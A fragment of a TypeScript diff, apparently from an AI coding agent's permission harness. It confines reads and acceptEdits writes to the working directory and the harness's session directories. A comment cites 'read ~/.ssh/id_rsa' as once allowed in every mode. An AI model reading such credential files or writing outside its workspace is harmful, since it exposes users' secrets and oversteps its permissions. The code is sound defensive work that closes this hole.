+	 * (filesystem.ts): the read tier is allowed inside the working directory and
+	 * asks outside it, and acceptEdits approves edits inside it only. The
+	 * harness's own session dirs (auto-memory, scratchpad, persisted tool
+	 * results, the plan file) count as inside — the system prompt tells the
+	 * model to read and write there. The resolved subject is judged where the
+	 * caller resolved one, so a symlink inside the project that points out of
+	 * it is outside. Until 2026-09-05 neither check existed: `read ~/.ssh/id_rsa`
+	 * was allowed in every mode including auto and plan, and acceptEdits wrote
+	 * anywhere on disk (PERMISSIONS-REVIEW-2026-09-05 H1, H2).
+	 */
+	const inWorkingSpace = (): boolean => {
+		const target = params.resolvedSubject ?? subject;
+		const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath];
+		if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
+		return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
+	};
+	const outsideWorkingDir = (): Decision => {
+		if (mode === "auto") return { decision: "classify", cause: "working-dir" };
+		if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
+		return { decision: "ask", cause: "working-dir" };
+	};
+
+	if (tier === "safe") {
+		// No path argument (grep/find/ls default to the cwd) is an in-project read.
+		if (!subject || inWorkingSpace()) return { decision: "allow", cause: "tier" };
+		return outsideWorkingDir();
+	}
+	if (AUTO_ALLOWED_TOOLS.has(tool)) return { decision: "allow", cause: "tier" };
+	if (tier === "edit" && mode === "acceptEdits") {
+		if (subject && inWorkingSpace()) return { decision: "allow", cause: "mode" };
+		return outsideWorkingDir();
 	}
-	if (tier === "edit" && mode === "acceptEdits") return { decision: "allow", cause: "mode" };
 
 	// Everything left over goes to the classifier in auto mode, and to the user
 	// in every other mode.